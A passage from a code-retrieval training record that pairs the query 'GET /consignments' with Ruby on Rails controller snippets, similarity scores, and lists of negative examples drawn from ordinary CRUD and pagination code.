method.to_s.split('_by_').last.split('_and_')\n\n chain = Dynamoid::Criteria::Chain.new(self)\n chain.query = Hash.new.tap {|h| attributes.each_with_index {|attr, index| h[attr.to_sym] = args[index]}}\n \n if finder =~ /all/\n return chain.all\n else\n return chain.first\n end\n else\n super\n end\n end", "def pager(method,filter_param,per_page=500)\n session[:ooc_deviation_search][:row_from]=0\n session[:ooc_deviation_search][:row_to]=per_page\n deviations = OocDeviationSearch.search(session[:ooc_deviation_search])\n count = deviations.size == 0 ? 0 : deviations.first.count\n if count > 0\n pages = (count / per_page.to_f).ceil\n if count < per_page\n per_page=count\n end\n pages.times do |page|\n page +=1\n session[:ooc_deviation_search][:row_from]=0\n session[:ooc_deviation_search][:row_to]=per_page\n if filter_param.downcase=='all'\n row_to=per_page*page\n row_from=(row_to-per_page)+1\n session[:ooc_deviation_search][:row_from]=row_from\n session[:ooc_deviation_search][:row_to]=row_to\n end\n #$stderr.puts \"pager: #{page} | #{pages} | #{session[:ooc_deviation_search][:row_from]} |\\\n ##{session[:ooc_deviation_search][:row_to]} | #{count}\"\n unless page==1\n SwareBase.uncached do\n deviations = OocDeviationSearch.search(session[:ooc_deviation_search])\n count = deviations.size == 0 ? 0 : deviations.first.count\n end\n end\n send(method, deviations)\n end\n end\n end", "def search()\n @query_status = Query.for_queue(@queue)\n unless @query && @query_status\n return\n end\n\n total = 0\n results = []\n page = 1\n\n @last_twid = @query_status.last_twid\n\n loop do\n # App.log.info(\"last_twid: \" + @last_twid.to_s)\n results = fetch_page(page).select{|result| result.id.to_i > @last_twid }\n results.each{|result| add_to_queue(result)}\n total += results.size\n # unless results.size > 0\n update_query_status(total)\n break\n # end\n # page += 1\n end \n end", "def search_result\n klass.where(\"object_id = ? AND object_type = ? AND timestamp <= ?\", object_id, object_type, timestamp).order(:timestamp)\n end", "def rekey_limit=(_arg0); end", "def query\n end", "def execute(paginating = false)\n limit(documents.select { |document| document.matches?(selector) })\n end", "def limit\n return 0 if just_count?\n limit = if list?\n @params[:limit_per_page_for_list].to_i\n else\n @params[:limit_per_page_for_details].to_i\n end\n limit = 1 if limit < 1\n [limit, MAX_LIST_LIMIT].min\n end", "def limit(criteria, relation)\n return relation unless criteria.limit?\n\n relation.limit(criteria.limit)\n end", "def limit_page_param_for_search\n if !params[:page].blank? && params[:page].to_i > 50\n render_404\n end\n end", "def pager(method,filter_param,per_page=500)\n \n deviations = DeviationSearch.search(session[:deviation_search],0,per_page)\n count = deviations.first[:count]\n if count > 0\n pages = (count / per_page.to_f).ceil\n if count < per_page\n per_page=count\n end\n pages.times do |page|\n page +=1\n end_row=per_page\n start_row=0\n if filter_param.downcase=='all'\n end_row=per_page*page\n start_row=(end_row-per_page)+1\n end\n# $stderr.puts \"pager: #{page} | #{pages} | #{start_row} | #{end_row} | #{count}\"\n unless page==1\n SwareBase.uncached do\n deviations = DeviationSearch.search(session[:deviation_search],start_row,end_row)\n end\n end\n send(method, deviations)\n end\n end\n end", "def matches_conditions?(object, query); end", "def search\n @methods = UnitMethod.all({\n :conditions => [\"name LIKE ?\", \"%#{params[:search].blank? ? '+' : params[:search]}%\"],\n :limit => 10\n })\n end", "def limit_reached?\n end", "def query_len; mrna.len; end", "def query_field; end", "def default_limit\n 10\n end", "def endpoint\n \"v1/action/queryMore\"\n end" ]
[ "0.6642183", "0.6642183", "0.6642183", "0.64243877", "0.6263535", "0.6047948", "0.5991067", "0.59830064", "0.59578", "0.5910016", "0.5904481", "0.5904481", "0.5882202", "0.5873513", "0.5852853", "0.5787797", "0.57709384", "0.57548565", "0.57392025", "0.5726678", "0.5709665", "0.56678", "0.56507045", "0.5625696", "0.5597323", "0.55962354", "0.55843043", "0.5564783", "0.55340815", "0.5531813", "0.5531755", "0.5531351", "0.55133724", "0.5511336", "0.55054295", "0.5499458", "0.548465", "0.54829687", "0.54828715", "0.5464416", "0.54442304", "0.5423453", "0.5409836", "0.54004633", "0.53993887", "0.5398502", "0.53969085", "0.5394984", "0.53928506", "0.53858536", "0.53767127", "0.53561497", "0.5352313", "0.5336082", "0.53336555", "0.5305036", "0.53015554", "0.5297651", "0.5292097", "0.5288601", "0.5285168", "0.52842224", "0.5277563", "0.52771425", "0.527394", "0.52707505", "0.52706516", "0.5264384", "0.5262955", "0.5260019", "0.5246328", "0.5226995", "0.5224473", "0.52237594", "0.52204245", "0.52204245", "0.52190405", "0.5217828", "0.5213873", "0.5209433", "0.5206025", "0.5205831", "0.5200386", "0.5196612", "0.51927805", "0.5192457", "0.51734793", "0.51642996", "0.5159065", "0.51456386", "0.51427525", "0.5136593", "0.5135739", "0.51346505", "0.5125444", "0.51218915", "0.51178473", "0.5117116", "0.51157373", "0.51007265" ]
0.532505
55
GET /consignments GET /consignments.json
def index @consignments = Consignment.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @consignees = Consignee.all\n end", "def index\n @consents = Consent.all\n render json: @consents\n end", "def index\n @concerts = Concert.all\n end", "def index\n @concerts = Concert.all\n end", "def index\n @concerts = Concert.all\n end", "def index\n @concerts = Concert.all\n end", "def index\n @coments = Coment.all\n end", "def index\n @coments = Coment.all\n end", "def index\n @consignments = Consignment.newest_first.page params[:page]\n end", "def listCon\n @opportunities = Opportunity.where(\"status = ?\", \"Publish\")\n render json: @opportunities\n end", "def destroy\n @consignment.destroy\n respond_to do |format|\n format.html { redirect_to consignments_url }\n format.json { head :no_content }\n end\n end", "def show\n @concerts = Concert.find(params[:id])\n end", "def index\n @contrac_establishments = ContracEstablishment.all\n end", "def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end", "def index\n @conversations = Conversation.all\n\n render json: @conversations\n end", "def index\n @commitments = Commitment.all\n end", "def destroy\n @consignment.destroy\n respond_to do |format|\n format.html {redirect_to consignments_url, notice: 'Consignment was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "def index\n @concedentes = Concedente.all\n end", "def get_current_occasions\n\n \tcurrent_occasions = Array.new\n recipients = current_user.recipients.live # only get the live recipients!\n\n recipients.each do |recipient|\n \tcurrent_occasions << recipient.recipient_occasions.live\n end\n\n respond_to do |format|\n format.json { render json: current_occasions }\n end\n end", "def index\n @con_ins = ConIn.all\n end", "def index\n @inciting_incidents = IncitingIncident.all\n render json: @inciting_incidents\n end", "def index\n @confections = Confection.all\n end", "def apayments\n\t\t@request = Request.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json {} # aPayments.json.jbuilder\n\t\tend\n\tend", "def companies\n signed_get(COMPANIES_PATH)\n end", "def index\n @group = Group.find params[:group_id]\n \n @concierts = @group.concierts\n end", "def index\n @issuing_institutions = IssuingInstitution.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @issuing_institutions }\n end\n end", "def index\n @conseilles = Conseille.all\n respond_to do |format|\n format.html\n format.json { render json: @conseilles}\n end\n end", "def index\n @encriptions = Encription.all\n respond_to do |format|\n \n format.html \n format.json { render json: @encriptions }\n \n end\n end", "def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end", "def index\n @references = Reference.all\n\n render json: @references\n end", "def index\n @given_circumstances = GivenCircumstance.all\n render json: @given_circumstances\n end", "def create\n @consignment = Consignment.new(consignment_params)\n\n respond_to do |format|\n if @consignment.save\n format.html { redirect_to @consignment, notice: 'Consignment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @consignment }\n else\n format.html { render action: 'new' }\n format.json { render json: @consignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @admittings = Admitting.all\n render json: @admittings\n end", "def set_consignment\n @consignment = Consignment.find(params[:id])\n end", "def index\n @citations = Citation.all\n\n render json: @citations\n end", "def index\n @auctions = Auction.find_consignments\n respond_to do |format|\n format.html # index.rhtml\n end\n end", "def index\n @incidents = @quote.incidents.all\n respond_to do |format|\n format.json { render :json => @incidents }\n end\n end", "def getConversations\n @conversations = Conversation.all.select(\"name\").map(&:name)\n\n respond_to do |format|\n format.json {render :json => {:conversations => @conversations}}\n end\n end", "def index\n @connaissances = Connaissance.all\n end", "def create\n @consignment = Consignment.new(consignment_params)\n\n respond_to do |format|\n if @consignment.save\n format.html {redirect_to @consignment, notice: 'Consignment was successfully created.'}\n format.json {render :show, status: :created, location: @consignment}\n else\n format.html {render :new}\n format.json {render json: @consignment.errors, status: :unprocessable_entity}\n end\n end\n end", "def index\n @contracts = Contract.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contracts }\n end\n end", "def index\n\n @debtors = Debtor.all\n\n render json: @debtors\n end", "def index\n @commments = Commment.all\n end", "def contracts\n\t\t@user = User.find_by_username(params[:profile_id])\n\t\tif !@user.present?\n\t\t\tredirect_to root_path\n\t\tend\n\n\t\tcontracts = []\n\t\tif current_admin.present? || (current_user.meets_contract_preferences?(@user) && !@user.is_blocking_user?(current_user))\n\t\t\t(@user.posted_contracts.where(status: \"Open\") + @user.posted_bounties.where(status: \"Open\")).each do | c |\n\t\t\t\tcontracts << {\n\t\t\t\t\t:id => c.id,\n\t\t\t\t\t:start=> c.start_date_time,\n\t\t\t\t\t:end=> c.end_date_time,\n\t\t\t\t\t:title=> \"$#{c.price_in_dollars}\",\n\t\t\t\t\t:type => c.contract_type\n\t\t\t\t}\n\t\t\tend\n\t\tend\n\t\trender :json => contracts\n\tend", "def index\n @in_comings = InComing.all\n end", "def index\n @contract_doc_categories = ContractDocCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contract_doc_categories }\n end\n end", "def set_consignment\n @consignment = Consignment.find(params[:id])\n end", "def index\n @payment_requests = PaymentRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @payment_requests }\n end\n end", "def index\n @campaigns = Campaign.all\n render json: @campaigns\n end", "def index\n @contraindications = Contraindication.all\n end", "def index\n @consequences = Consequence.all\n end", "def index\n @projects = Project.includes(:participants).all\n\n render json: @projects, include: :participants, status: 200\n end", "def index\n @investments = Investment.all\n\n respond_to do |format|\n format.html\n format.json\n end\n end", "def index\n @cultures = Culture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cultures }\n end\n end", "def index\n @cargapp_payments = CargappPayment.all\n end", "def index\n @cultivations = Cultivation.all\n end", "def index\n @collaborations = Collaboration.where(:project_id => params[:project_id])\n respond_with @collaborations\n end", "def index\n periods = current_user.school.periods.all\n\n render json: periods\n end", "def index\n @encouragements = Encouragement.all\n end", "def index\n @transcriptions = Transcription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transcriptions }\n end\n end", "def index\n @certifications = Certification.all\n end", "def index\n @coberturas = Cobertura.all\n end", "def index\n @trein_consul_comercials = TreinConsulComercial.all\n end", "def index\n @pay_cmb_signs = Pay::CmbSign.all\n end", "def index\n @contenders = Contender.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contenders }\n end\n end", "def index\n @insurance_queries = InsuranceQuery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @insurance_queries }\n end\n end", "def index\n # @donation_purposes = DonationPurpose.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @donation_purposes }\n end\n end", "def all\n get(\"#{domain}/complaints\")\n end", "def index\n @curriculums = @course.curriculums.paginate :page => params[:page]\n \n respond_with @curriculums\n end", "def index\n @certifications_members = CertificationsMember.all\n end", "def index\n @convidados = Convidado.all\n end", "def index\n @care_plans = CarePlan.all\n render json: @care_plans\n end", "def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end", "def index\n @compliments = Compliment.all\n end", "def index\n @establishments = Establishment.all\n end", "def index\n @establishments = Establishment.all\n end", "def surveys\n person_id = params[:person_id]\n \n surveys = SurveyService.findSurveysForPerson person_id\n \n render json: surveys.to_json, :content_type => 'application/json'\n end", "def index\n @payments = Payment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @payments }\n end\n end", "def index\n @payments = Payment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @payments }\n end\n end", "def index\n @patient = Patient.find(params[:patient_id])\n set_patient_session @patient.id, @patient.patient_name \n @managed_cares = @patient.managed_cares.joins(:subscriber)\n @title = \"Patient Managed Care Information\"\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @managed_cares }\n end\n end", "def payments_json_response\n {\n key: 'payments',\n type: 'async',\n html: render_to_string(formats: ['html'], layout: false)\n }\n end", "def index\n @cannings = Canning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cannings }\n end\n end", "def index\n @recipients = Recipient.all\n # render json: @recipients\n end", "def index\n @contas = Conta.all\n respond_to do |format|\n format.json { render json: @contas.to_json, status: :ok }\n end\n end", "def index\n @contact = current_user.contacts.find(params[:contact_id])\n @requests = @contact.requests\n\n respond_with @requests\n end", "def creditCardIndex\n render json: Approved.allCreditCard\n end", "def index\n @payements = Payement.all\n end", "def show\n @colaboration = Colaboration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colaboration }\n end\n end", "def index\n @incidents = Incident.all\n end", "def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend", "def index\n # current_user.companies.\n @incidents = Incident.all\n end", "def index\n @benefit_categories = BenefitCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @benefit_categories }\n end\n end", "def index\n @charges = Charge.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @charges }\n end\n end", "def index\n @congregations = Congregation.all\n end", "def index\n @civilizations = Civilization.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @civilizations }\n end\n end", "def index\n @campaigns = Campaign.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @campaigns }\n end\n end", "def index\n contacteds = @business.contacteds\n \n render json: contacteds\n end", "def index\n @contractors = current_contractor\n end", "def index\n @curriculums = Curriculum.all\n respond_to do |format|\n\t\t\tformat.html { render :index }\n\t\t\tformat.json { render json: Oj.dump(@curriculums) }\n\t\tend\n end", "def index\n @projects = current_user.active_projects.includes(:project_errors)\n @project_invitations = current_user.user_projects.pending\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end" ]
[ "0.65958065", "0.6586459", "0.631165", "0.631165", "0.631165", "0.631165", "0.6124376", "0.6124376", "0.6117937", "0.6021862", "0.59828436", "0.5871482", "0.5787465", "0.57773304", "0.56654274", "0.5660294", "0.56458366", "0.56456226", "0.5644179", "0.5611808", "0.55818397", "0.5576167", "0.55652714", "0.55543596", "0.55415094", "0.55414325", "0.55294734", "0.55153805", "0.5496738", "0.54937637", "0.54915726", "0.5476987", "0.5474346", "0.54721636", "0.5469524", "0.54657954", "0.546341", "0.54533595", "0.5448973", "0.5448826", "0.54391056", "0.5437457", "0.54337883", "0.54218256", "0.5419254", "0.5409514", "0.5394047", "0.53842175", "0.5381241", "0.5378824", "0.5377288", "0.5372947", "0.5364323", "0.534419", "0.5338271", "0.53331625", "0.5321993", "0.53206056", "0.53203696", "0.5320151", "0.5315193", "0.531422", "0.5304051", "0.5292581", "0.5292376", "0.52778697", "0.52771807", "0.5271732", "0.52709204", "0.52686614", "0.5265199", "0.5263627", "0.52611905", "0.52596813", "0.52583057", "0.52583057", "0.5257525", "0.52493906", "0.52493906", "0.52485293", "0.5244205", "0.5243239", "0.52410156", "0.5235977", "0.52313185", "0.522613", "0.52201915", "0.5219601", "0.52161133", "0.52143824", "0.5214093", "0.5213148", "0.52061635", "0.5205458", "0.52052313", "0.5204568", "0.5200759", "0.51978564", "0.5196511", "0.5185949" ]
0.7629327
0
GET /consignments/1 GET /consignments/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @consignments = Consignment.all\n end", "def index\n @consents = Consent.all\n render json: @consents\n end", "def show\n @concerts = Concert.find(params[:id])\n end", "def index\n @concerts = Concert.all\n end", "def index\n @concerts = Concert.all\n end", "def index\n @concerts = Concert.all\n end", "def index\n @concerts = Concert.all\n end", "def index\n @consignments = Consignment.newest_first.page params[:page]\n end", "def index\n @consignees = Consignee.all\n end", "def show\n @colaboration = Colaboration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colaboration }\n end\n end", "def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end", "def show\n @concour = Concour.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concour }\n end\n end", "def listCon\n @opportunities = Opportunity.where(\"status = ?\", \"Publish\")\n render json: @opportunities\n end", "def index\n @coments = Coment.all\n end", "def index\n @coments = Coment.all\n end", "def show\n @commtent1 = Commtent1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commtent1 }\n end\n end", "def show\n @circulation = Circulation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @circulation }\n end\n end", "def show\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @consumo }\n end\n end", "def set_consignment\n @consignment = Consignment.find(params[:id])\n end", "def index\n @contrac_establishments = ContracEstablishment.all\n end", "def index\n @conseilles = Conseille.all\n respond_to do |format|\n format.html\n format.json { render json: @conseilles}\n end\n end", "def show\n @concedente = Concedente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concedente }\n end\n end", "def index\n @group = Group.find params[:group_id]\n \n @concierts = @group.concierts\n end", "def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end", "def destroy\n @consignment.destroy\n respond_to do |format|\n format.html { redirect_to consignments_url }\n format.json { head :no_content }\n end\n end", "def show\n @concurso = Concurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concurso }\n end\n end", "def show\n @contum = Contum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contum }\n end\n end", "def show\n @concert = Concert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @concert }\n end\n end", "def set_consignment\n @consignment = Consignment.find(params[:id])\n end", "def index\n @citations = Citation.all\n\n render json: @citations\n end", "def index\n @contracts = Contract.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contracts }\n end\n end", "def index\n @inciting_incidents = IncitingIncident.all\n render json: @inciting_incidents\n end", "def show\n @contract_doc_category = ContractDocCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contract_doc_category }\n end\n end", "def index\n @confections = Confection.all\n end", "def index\n @connaissances = Connaissance.all\n end", "def show\n @client = Client.find(params[:id])\n @contracts = Contract.where(:client_id => @client.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @client }\n end\n end", "def show\n @contratacao = Contratacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contratacao }\n end\n end", "def index\n @references = Reference.all\n\n render json: @references\n end", "def index\n @concedentes = Concedente.all\n end", "def show\n @complaint = Complaint.find(params[:id])\n\n render json: @complaint\n end", "def show\n @commitment = Commitment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commitment }\n end\n end", "def show\n @congressional_district = CongressionalDistrict.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @congressional_district }\n end\n end", "def get_concert\n @_concert ||= Concert.find(params[:concert_id]) #@_project para cachear variables (@_).\n end", "def index\n @patient = Patient.find(params[:patient_id])\n set_patient_session @patient.id, @patient.patient_name \n @managed_cares = @patient.managed_cares.joins(:subscriber)\n @title = \"Patient Managed Care Information\"\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @managed_cares }\n end\n end", "def show\n @compromise = Compromise.find(params[:id])\n\n render json: @compromise\n end", "def creditCardIndex\n render json: Approved.allCreditCard\n end", "def index\n @given_circumstances = GivenCircumstance.all\n render json: @given_circumstances\n end", "def getbyId\n begin\n @company = Company.find(params[:id])\n render :json => @company.to_json(:include =>[:confidenceLevel,:nda,:country,:region,:state,:city,:company_type,:companyInvestors,:classifications,:companyGeos,:companyRevenues,:companyGrowths]), :status=>:ok\n rescue\n render :json=>\"No company found\"\n end\n end", "def index\n @contract_doc_categories = ContractDocCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contract_doc_categories }\n end\n end", "def index\n @cannings = Canning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cannings }\n end\n end", "def index\n @trein_consul_comercials = TreinConsulComercial.all\n end", "def show\n\n @venue = Venue.find(params[:id])\n @concerts = Concert.where(:venue_id=>@venue.id)\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @venue }\n end\n end", "def show\n @compliment = Compliment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @compliment }\n end\n end", "def index\n @conversations = Conversation.all\n\n render json: @conversations\n end", "def index\n @commemts = Commemt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commemts }\n end\n end", "def index\n @con_ins = ConIn.all\n end", "def index\n @civilizations = Civilization.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @civilizations }\n end\n end", "def show\n @conversation = current_user.conversations.find(params[:conversation_id])\n render json: @conversation.as_json()\n end", "def index\n @contraindications = Contraindication.all\n end", "def index\n @campaigns = Campaign.all\n render json: @campaigns\n end", "def show\n @constitution = Constitution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @constitution }\n end\n end", "def show\n @contract = Contract.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contract }\n end\n end", "def show\n @conclusion = Conclusion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conclusion }\n end\n end", "def show\n @conductor = Conductor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conductor }\n end\n end", "def show\n @conductor = Conductor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conductor }\n end\n end", "def index\n @benefit_categories = BenefitCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @benefit_categories }\n end\n end", "def index\n @congressos = Congresso.all\n end", "def show\n @registration_contract = Registration::Contract.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @registration_contract }\n end\n end", "def index\n @care_plans = CarePlan.all\n render json: @care_plans\n end", "def show\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @compromise }\n end\n end", "def show\n @condolence = Condolence.find(params[:id])\n @orbituarysite = current_user.orbituarysites.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @condolence }\n end\n end", "def create\n @consignment = Consignment.new(consignment_params)\n\n respond_to do |format|\n if @consignment.save\n format.html { redirect_to @consignment, notice: 'Consignment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @consignment }\n else\n format.html { render action: 'new' }\n format.json { render json: @consignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @conducta = Conductum.all\n end", "def show\n @correction = Correction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @correction }\n end\n end", "def set_concert\n @concert = Concert.find(params[:id])\n end", "def index\n confessions = Confession.all.order(\"created_at DESC\")\n\n render json: confessions\n end", "def index\n @conductors = Conductor.all\n end", "def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end", "def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end", "def index\n @consequences = Consequence.all\n end", "def show\n @budgetcategory = Budgetcategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budgetcategory }\n end\n end", "def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end", "def show\n @competency = Competency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competency }\n end\n end", "def destroy\n @consignment.destroy\n respond_to do |format|\n format.html {redirect_to consignments_url, notice: 'Consignment was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "def index\n @contas = Conta.all\n respond_to do |format|\n format.json { render json: @contas.to_json, status: :ok }\n end\n end", "def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end", "def index\n @encriptions = Encription.all\n respond_to do |format|\n \n format.html \n format.json { render json: @encriptions }\n \n end\n end", "def index\n @collaborations = Collaboration.where(:project_id => params[:project_id])\n respond_with @collaborations\n end", "def new\n @colaboration = Colaboration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colaboration }\n end\n end", "def create\n @consignment = Consignment.new(consignment_params)\n\n respond_to do |format|\n if @consignment.save\n format.html {redirect_to @consignment, notice: 'Consignment was successfully created.'}\n format.json {render :show, status: :created, location: @consignment}\n else\n format.html {render :new}\n format.json {render json: @consignment.errors, status: :unprocessable_entity}\n end\n end\n end", "def show\n @social_contract = SocialContract.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @social_contract }\n end\n end", "def index\n @small_concerts = SmallConcert.order(\"id DESC\")\n @title = \"教室ライブ一覧\"\n end", "def index\n @connections = Connection.all(:include => :user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @connections }\n end\n end", "def show\n @cont = Cont.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cont }\n end\n end", "def index\n @congregations = Congregation.all\n end", "def index\n @charges = Charge.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @charges }\n end\n end", "def show\n @correlation = Correlation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @correlation }\n end\n end", "def show\n @condclima = Condclima.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @condclima }\n end\n end", "def index\n @incomes = current_company.incomes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @incomes }\n end\n end", "def index\n @incidents = @quote.incidents.all\n respond_to do |format|\n format.json { render :json => @incidents }\n end\n end", "def show\n @competence_center = CompetenceCenter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competence_center }\n end\n end" ]
[ "0.71892685", "0.6745785", "0.6633944", "0.6533211", "0.6533211", "0.6533211", "0.6533211", "0.6381323", "0.6374828", "0.6325026", "0.62945086", "0.61480194", "0.6128118", "0.6108577", "0.6108577", "0.60102177", "0.60039824", "0.6000654", "0.5941926", "0.59278834", "0.5916773", "0.5905415", "0.58641887", "0.58576566", "0.58533823", "0.5829932", "0.5814681", "0.57990307", "0.5790391", "0.5783014", "0.57827795", "0.5770577", "0.5769251", "0.5766306", "0.573887", "0.5730636", "0.5723369", "0.5717315", "0.5708072", "0.57070297", "0.5701952", "0.569468", "0.56862444", "0.5676833", "0.566255", "0.56619424", "0.5661079", "0.5635193", "0.563289", "0.56221616", "0.56206936", "0.5620562", "0.56160164", "0.5606553", "0.5603151", "0.5585844", "0.5585293", "0.5582306", "0.55796754", "0.5573114", "0.5571622", "0.55678785", "0.5560884", "0.556002", "0.556002", "0.55579996", "0.5555393", "0.55545145", "0.5553812", "0.55535144", "0.55534494", "0.55518293", "0.5549806", "0.55488557", "0.5548245", "0.5546182", "0.5541856", "0.5538461", "0.5538461", "0.553424", "0.5532535", "0.5532162", "0.55302453", "0.55295265", "0.5527729", "0.55249596", "0.5524378", "0.5521939", "0.55172074", "0.55052346", "0.55000794", "0.5497774", "0.549614", "0.5493532", "0.5492455", "0.54888326", "0.54887116", "0.54874134", "0.5486814", "0.548601", "0.5483382" ]
0.0
-1
POST /consignments POST /consignments.json
def create @consignment = Consignment.new(consignment_params) respond_to do |format| if @consignment.save format.html { redirect_to @consignment, notice: 'Consignment was successfully created.' } format.json { render action: 'show', status: :created, location: @consignment } else format.html { render action: 'new' } format.json { render json: @consignment.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @consignment = Consignment.new(consignment_params)\n\n respond_to do |format|\n if @consignment.save\n format.html {redirect_to @consignment, notice: 'Consignment was successfully created.'}\n format.json {render :show, status: :created, location: @consignment}\n else\n format.html {render :new}\n format.json {render json: @consignment.errors, status: :unprocessable_entity}\n end\n end\n end", "def index\n @consignments = Consignment.all\n end", "def create\n @concert = Concert.new(concert_params)\n\n respond_to do |format|\n if @concert.save\n format.html { redirect_to @concert, notice: 'Concert was successfully created.' }\n format.json { render :show, status: :created, location: @concert }\n else\n format.html { render :new }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @concert = Concert.new(concert_params)\n\n respond_to do |format|\n if @concert.save\n format.html { redirect_to @concert, notice: 'Concert was successfully created.' }\n format.json { render :show, status: :created, location: @concert }\n else\n format.html { render :new }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @concert = Concert.new(concert_params)\n\n respond_to do |format|\n if @concert.save\n @concert.create_activity :create, owner: current_user\n format.html { redirect_to @concert, notice: 'Concert was successfully created.' }\n format.json { render :show, status: :created, location: @concert }\n else\n format.html { render :new }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # TODO 既存 team 